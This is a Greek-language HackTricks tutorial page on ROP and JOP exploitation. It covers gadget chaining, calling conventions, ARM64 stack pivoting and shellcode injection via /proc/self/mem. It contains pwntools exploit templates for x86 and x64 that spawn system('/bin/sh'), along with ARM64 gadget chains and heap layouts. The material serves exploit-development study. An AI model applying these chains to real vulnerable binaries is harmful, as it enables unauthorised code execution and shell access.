ROP & JOP

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Βασικές Πληροφορίες

Return-Oriented Programming (ROP) είναι μια προηγμένη τεχνική εκμετάλλευσης που χρησιμοποιείται για να παρακάμψει μέτρα ασφαλείας όπως No-Execute (NX) ή Data Execution Prevention (DEP). Αντί να εγχύσει και να εκτελέσει shellcode, ένας επιτιθέμενος αξιοποιεί κομμάτια κώδικα που ήδη υπάρχουν στο binary ή σε φορτωμένες βιβλιοθήκες, γνωστά ως “gadgets”. Κάθε gadget συνήθως τελειώνει με μια εντολή ret και εκτελεί μια μικρή ενέργεια, όπως μετακίνηση δεδομένων μεταξύ καταχωρητών ή αριθμητικές πράξεις. Συνδέοντας αυτά τα gadgets μεταξύ τους, ένας επιτιθέμενος μπορεί να κατασκευάσει ένα payload για να εκτελέσει αυθαίρετες ενέργειες, παρακάμπτοντας αποτελεσματικά τις προστασίες NX/DEP.

How ROP Works

  1. Control Flow Hijacking: Πρώτα, ένας επιτιθέμενος χρειάζεται να καταλάβει τη ροή ελέγχου ενός προγράμματος, συνήθως εκμεταλλευόμενος ένα buffer overflow για να αντικαταστήσει μια αποθηκευμένη διεύθυνση επιστροφής στη στοίβα.
  2. Gadget Chaining: Ο επιτιθέμενος στη συνέχεια επιλέγει προσεκτικά και αλυσοποιεί gadgets για να εκτελέσει τις επιθυμητές ενέργειες. Αυτό μπορεί να περιλαμβάνει την προετοιμασία των ορισμάτων για μια κλήση συνάρτησης, την κλήση της συνάρτησης (π.χ. system("/bin/sh")) και την διαχείριση οποιασδήποτε απαραίτητης καθαριότητας ή επιπλέον λειτουργιών.
  3. Payload Execution: Όταν η ευάλωτη συνάρτηση επιστρέψει, αντί να επιστρέψει σε μια νόμιμη τοποθεσία, αρχίζει να εκτελεί την αλυσίδα των gadgets.

Εργαλεία

Τυπικά, τα gadgets μπορούν να βρεθούν χρησιμοποιώντας ROPgadget, ropper ή απευθείας από pwntools (ROP).

ROP Chain in x86 Example

x86 (32-bit) Calling conventions

  • cdecl: Ο caller καθαρίζει τη στοίβα. Τα ορίσματα της συνάρτησης ωθούνται (pushed) στη στοίβα σε αντίστροφη σειρά (από δεξιά προς τα αριστερά). Τα ορίσματα ωθούνται στη στοίβα από δεξιά προς τα αριστερά.
  • stdcall: Παρόμοιο με το cdecl, αλλά ο callee είναι υπεύθυνος για τον καθαρισμό της στοίβας.

Finding Gadgets

Αρχικά, ας υποθέσουμε ότι έχουμε εντοπίσει τα απαραίτητα gadgets μέσα στο binary ή στις φορτωμένες βιβλιοθήκες. Τα gadgets που μας ενδιαφέρουν είναι:

  • pop eax; ret: Αυτό το gadget κάνει pop την κορυφή της στοίβας στον καταχωρητή EAX και στη συνέχεια επιστρέφει, επιτρέποντάς μας να ελέγξουμε το EAX.
  • pop ebx; ret: Παρόμοιο με το παραπάνω, αλλά για τον καταχωρητή EBX, επιτρέποντας τον έλεγχο του EBX.
  • mov [ebx], eax; ret: Μεταφέρει την τιμή στο EAX στην περιοχή μνήμης που δείχνει ο EBX και μετά επιστρέφει. Αυτό συχνά ονομάζεται write-what-where gadget.
  • Επιπλέον, έχουμε διαθέσιμη τη διεύθυνση της συνάρτησης system().

ROP Chain

Χρησιμοποιώντας pwntools, προετοιμάζουμε τη στοίβα για την εκτέλεση της ROP αλυσίδας ως εξής, με στόχο να εκτελεστεί system('/bin/sh'), σημειώστε πώς ξεκινά η αλυσίδα με:

  1. Μια εντολή ret για λόγους στοίχισης (προαιρετικό)
  2. Διεύθυνση της συνάρτησης system (υποθέτοντας ASLR απενεργοποιημένο και γνωστό libc, περισσότερες πληροφορίες στο Ret2lib)
  3. Placeholder για τη διεύθυνση επιστροφής από την system()
  4. Διεύθυνση της συμβολοσειράς "/bin/sh" (παράμετρος για τη συνάρτηση system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Παράδειγμα

x64 (64-bit) Συμβάσεις κλήσης

  • Χρησιμοποιεί τη System V AMD64 ABI σύμβαση κλήσης σε συστήματα τύπου Unix, όπου τα πρώτα έξι ακέραια ή δείκτης ορίσματα περνιούνται στους καταχωρητές RDI, RSI, RDX, RCX, R8, και R9. Επιπλέον ορίσματα περνιούνται στην στοίβα. Η τιμή επιστροφής τοποθετείται στο RAX.
  • Windows x64 η σύμβαση κλήσης χρησιμοποιεί RCX, RDX, R8, και R9 για τα πρώτα τέσσερα ακέραια ή δείκτης ορίσματα, με επιπλέον ορίσματα να περνιούνται στη στοίβα. Η τιμή επιστροφής τοποθετείται στο RAX.
  • Registers: Οι 64-bit καταχωρητές περιλαμβάνουν RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP, και R8 έως R15.

Εύρεση Gadgets

Για τους σκοπούς μας, ας επικεντρωθούμε σε gadgets που θα μας επιτρέψουν να ορίσουμε τον καταχωρητή RDI (για να περάσουμε τη συμβολοσειρά “/bin/sh” ως όρισμα στη system()) και στη συνέχεια να καλέσουμε τη συνάρτηση system(). Θα υποθέσουμε ότι έχουμε εντοπίσει τα ακόλουθα gadgets:

  • pop rdi; ret: Αφαιρεί την κορυφαία τιμή της στοίβας στον καταχωρητή RDI και μετά επιστρέφει. Απαραίτητο για το ορισμό του ορίσματος για τη system().
  • ret: Απλή επιστροφή, χρήσιμη για στοίχιση της στοίβας σε ορισμένα σενάρια.

Και γνωρίζουμε τη διεύθυνση της συνάρτησης system().

ROP Chain

Παρακάτω είναι ένα παράδειγμα που χρησιμοποιεί το pwntools για να στήσει και να εκτελέσει μια ROP chain με στόχο να εκτελέσει τη system(‘/bin/sh’) σε x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

In this example:

  • We utilize the pop rdi; ret gadget to set RDI to the address of "/bin/sh".
  • We directly jump to system() after setting RDI, with system()’s address in the chain.
  • ret_gadget is used for alignment if the target environment requires it, which is more common in x64 to ensure proper stack alignment before calling functions.

Stack Alignment

The x86-64 ABI διασφαλίζει ότι η στοίβα είναι στοιχισμένη σε 16-byte όταν εκτελείται μια εντολή call. LIBC, για να βελτιστοποιήσει την απόδοση, uses SSE instructions (όπως movaps) που απαιτούν αυτή τη στοίχιση. Αν η στοίβα δεν είναι σωστά στοιχισμένη (δηλαδή το RSP δεν είναι πολλαπλάσιο του 16), κλήσεις σε συναρτήσεις όπως η system θα αποτύχουν σε μια ROP chain. Για να το διορθώσετε, απλά προσθέστε ένα ret gadget πριν την κλήση της system στην ROP αλυσίδα σας.

x86 vs x64 κύρια διαφορά

Tip

Επειδή το x64 χρησιμοποιεί καταχωρητές για τα πρώτα επιχειρήματα, συχνά απαιτεί λιγότερα gadgets από το x86 για απλές κλήσεις συναρτήσεων, αλλά η εύρεση και η αλυσίδωση των σωστών gadgets μπορεί να είναι πιο περίπλοκη λόγω του αυξημένου αριθμού καταχωρητών και του μεγαλύτερου χώρου διευθύνσεων. Ο αυξημένος αριθμός καταχωρητών και ο μεγαλύτερος χώρος διευθύνσεων στην αρχιτεκτονική x64 παρέχουν τόσο ευκαιρίες όσο και προκλήσεις για την ανάπτυξη exploits, ειδικά στο πλαίσιο του Return-Oriented Programming (ROP).

ROP chain in ARM64

Για πληροφορίες σχετικά με τα ARM64 Basics & Calling conventions, δείτε την παρακάτω σελίδα για αυτές τις πληροφορίες:

Introduction to ARM64v8

[!DANGER] Είναι σημαντικό να σημειωθεί ότι όταν γίνεται άλμα σε μια συνάρτηση χρησιμοποιώντας ROP σε ARM64, θα πρέπει να πηδήξετε στη δεύτερη εντολή της συνάρτησης (τουλάχιστον) για να αποτρέψετε την αποθήκευση στο stack του τρέχοντος δείκτη στοίβας και να αποφύγετε έναν αιώνιο βρόχο που καλεί τη συνάρτηση ξανά και ξανά.

Finding gadgets in system Dylds

The system libraries comes compiled in one single file called dyld_shared_cache_arm64. This file contains all the system libraries in a compressed format. To download this file from the mobile device you can do:

scp [-J <domain>] root@10.11.1.1:/System/Library/Caches/com.apple.dyld/dyld_shared_cache_arm64 .
# -Use -J if connecting through Corellium via Quick Connect

Στη συνέχεια, μπορείτε να χρησιμοποιήσετε μερικά εργαλεία για να εξαγάγετε τις πραγματικές βιβλιοθήκες από το αρχείο dyld_shared_cache_arm64:

brew install keith/formulae/dyld-shared-cache-extractor
dyld-shared-cache-extractor dyld_shared_cache_arm64 dyld_extracted

Τώρα, για να βρείτε ενδιαφέροντα gadgets για το binary που εκμεταλλεύεστε, πρέπει πρώτα να γνωρίζετε ποιες βιβλιοθήκες έχουν φορτωθεί από το binary. Μπορείτε να χρησιμοποιήσετε lldb* για αυτό:

lldb ./vuln
br s -n main
run
image list

Τέλος, μπορείτε να χρησιμοποιήσετε Ropper για να βρείτε gadgets στις βιβλιοθήκες που σας ενδιαφέρουν:

# Install
python3 -m pip install ropper --break-system-packages
ropper --file libcache.dylib --search "mov x0"

JOP - Jump Oriented Programming

JOP είναι μια παρόμοια τεχνική με την ROP, αλλά κάθε gadget, αντί να χρησιμοποιεί μια εντολή RET στο τέλος του gadget, it uses jump addresses. Αυτό μπορεί να είναι ιδιαίτερα χρήσιμο σε περιπτώσεις όπου η ROP δεν είναι εφικτή, όπως όταν δεν υπάρχουν κατάλληλα gadgets διαθέσιμα. Χρησιμοποιείται συχνά σε αρχιτεκτονικές ARM όπου η εντολή ret δεν χρησιμοποιείται τόσο συχνά όσο στις αρχιτεκτονικές x86/x64.

Μπορείτε να χρησιμοποιήσετε τα εργαλεία rop για να βρείτε JOP gadgets επίσης, για παράδειγμα:

cd usr/lib/system # (macOS or iOS) Let's check in these libs inside the dyld_shared_cache_arm64
ropper --file *.dylib --search "ldr x0, [x0" # Supposing x0 is pointing to the stack or heap and we control some space around there, we could search for Jop gadgets that load from x0

Ας δούμε ένα παράδειγμα:

  • Υπάρχει ένα heap overflow που μας επιτρέπει να αντικαταστήσουμε έναν function pointer αποθηκευμένο στο heap που θα κληθεί.

  • x0 δείχνει στο heap όπου ελέγχουμε κάποιο χώρο

  • Από τις φορτωμένες system libraries βρίσκουμε τα ακόλουθα gadgets:

0x00000001800d1918: ldr x0, [x0, #0x20]; ldr x2, [x0, #0x30]; br x2;
0x00000001800e6e58: ldr x0, [x0, #0x20]; ldr x3, [x0, #0x10]; br x3;
  • Μπορούμε να χρησιμοποιήσουμε το πρώτο gadget για να φορτώσουμε το x0 με έναν δείκτη προς /bin/sh (αποθηκευμένο στο heap) και στη συνέχεια να φορτώσουμε το x2 από x0 + 0x30 με τη διεύθυνση του system και να κάνουμε άλμα σε αυτό.

Stack Pivot

Stack pivoting είναι μια τεχνική που χρησιμοποιείται στο exploitation για να αλλάξει το stack pointer (RSP in x64, SP in ARM64) ώστε να δείχνει σε μια ελεγχόμενη περιοχή μνήμης, όπως το heap ή ένα buffer στο stack, όπου ο attacker μπορεί να τοποθετήσει το payload του (συνήθως μια ROP/JOP chain).

Examples of Stack Pivoting chains:

  • Παράδειγμα με μόνο 1 gadget:
mov sp, x0; ldp x29, x30, [sp], #0x10; ret;

The `mov sp, x0` instruction sets the stack pointer to the value in `x0`, effectively pivoting the stack to a new location. The subsequent `ldp x29, x30, [sp], #0x10; ret;` instruction loads the frame pointer and return address from the new stack location and returns to the address in `x30`.
I found this gadget in libunwind.dylib
If x0 points to a heap you control, you can control the stack pointer and move the stack to the heap, and therefore you will control the stack.

0000001c61a9b9c:
ldr x16, [x0, #0xf8];    // Control x16
ldr x30, [x0, #0x100];   // Control x30
ldp x0, x1, [x0];        // Control x1
mov sp, x16;             // Control sp
ret;                     // ret will jump to x30, which we control

To use this gadget you could use in the heap something like:
<address of x0 to keep x0>     # ldp x0, x1, [x0]
<address of gadget>            # Let's suppose this is the overflowed pointer that allows to call the ROP chain
"A" * 0xe8 (0xf8-16)           # Fill until x0+0xf8
<address x0+16>                # Lets point SP to x0+16 to control the stack
<next gadget>                  # This will go into x30, which will be called with ret (so add of 2nd gadget)
  • Παράδειγμα πολλαπλών gadgets:
// G1: Typical PAC epilogue that restores frame and returns
// (seen in many leaf/non-leaf functions)
G1:
ldp     x29, x30, [sp], #0x10     // restore FP/LR
autiasp                          // **PAC check on LR**
retab                            // **PAC-aware return**

// G2: Small helper that (dangerously) moves SP from FP
// (appears in some hand-written helpers / stubs; good to grep for)
G2:
mov     sp, x29                  // **pivot candidate**
ret

// G3: Reader on the new stack (common prologue/epilogue shape)
G3:
ldp     x0, x1, [sp], #0x10      // consume args from "new" stack
ret
G1:
stp x8, x1, [sp]  // Store at [sp] → value of x8 (attacker controlled) and at [sp+8] → value of x1 (attacker controlled)
ldr x8, [x0]      // Load x8 with the value at address x0 (controlled by attacker, address of G2)
blr x8            // Branch to the address in x8 (controlled by attacker)

G2:
ldp x29, x30, [sp], #0x10  // Loads x8 -> x29 and x1 -> x30. The value in x1 is the value for G3
ret
G3:
mov sp, x29       // Pivot the stack to the address in x29, which was x8, and was controlled by the attacker possible pointing to the heap
ret

Shellcode μέσω /proc/self/mem (Embedded Linux)

Αν έχετε ήδη μια ROP chain αλλά χωρίς RWX mappings, μια εναλλακτική είναι να γράψετε shellcode στην τρέχουσα διαδικασία χρησιμοποιώντας /proc/self/mem και στη συνέχεια να εκτελέσετε jump σε αυτό. Αυτό είναι συνηθισμένο σε στόχους Embedded Linux όπου το /proc/self/mem μπορεί να αγνοεί τις προστασίες εγγραφής σε εκτελέσιμα segments στις προεπιλεγμένες ρυθμίσεις.

Τυπική ιδέα της αλυσίδας:

fd = open("/proc/self/mem", O_RDWR);
lseek(fd, target_addr, SEEK_SET);   // e.g., a known RX mapping or code cave
write(fd, shellcode, shellcode_len);
((void(*)())target_addr)();         // ARM Thumb: jump to target_addr | 1

If preserving fd is hard, calling open() multiple times can make it feasible to guess the descriptor used for /proc/self/mem. On ARM Thumb targets, remember to set the low bit when branching (addr | 1).

Προστασίες έναντι ROP και JOP

  • ASLR & PIE: Αυτές οι προστασίες κάνουν πιο δύσκολη τη χρήση του ROP καθώς οι διευθύνσεις των gadgets αλλάζουν μεταξύ εκτελέσεων.
  • Stack Canaries: Σε περίπτωση BOF, χρειάζεται να παρακαμφθεί ο αποθηκευμένος stack canary για να αντικατασταθούν οι return pointers και να εκμεταλλευτεί μια ROP chain.
  • Lack of Gadgets: Αν δεν υπάρχουν αρκετά gadgets, δεν θα είναι δυνατή η δημιουργία μιας ROP chain.

Τεχνικές βασισμένες σε ROP

Σημειώστε ότι το ROP είναι απλώς μια τεχνική για την εκτέλεση αυθαίρετου κώδικα. Βασισμένοι στο ROP αναπτύχθηκαν πολλές τεχνικές Ret2XXX:

  • Ret2lib: Χρησιμοποιεί ROP για να καλεί αυθαίρετες συναρτήσεις από μια φορτωμένη βιβλιοθήκη με αυθαίρετες παραμέτρους (συνήθως κάτι σαν system('/bin/sh')).

Ret2lib

  • Ret2Syscall: Χρησιμοποιεί ROP για να προετοιμάσει μια κλήση σε syscall, π.χ. execve, και να εκτελέσει αυθαίρετες εντολές.

Ret2syscall

  • EBP2Ret & EBP Chaining: Το πρώτο θα καταχραστεί το EBP αντί του EIP για να ελέγξει τη ροή και το δεύτερο είναι παρόμοιο με το Ret2lib αλλά σε αυτή την περίπτωση η ροή ελέγχεται κυρίως με διευθύνσεις EBP (αν και χρειάζεται επίσης ο έλεγχος του EIP).

Stack Pivoting

Άλλα Παραδείγματα & Αναφορές

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks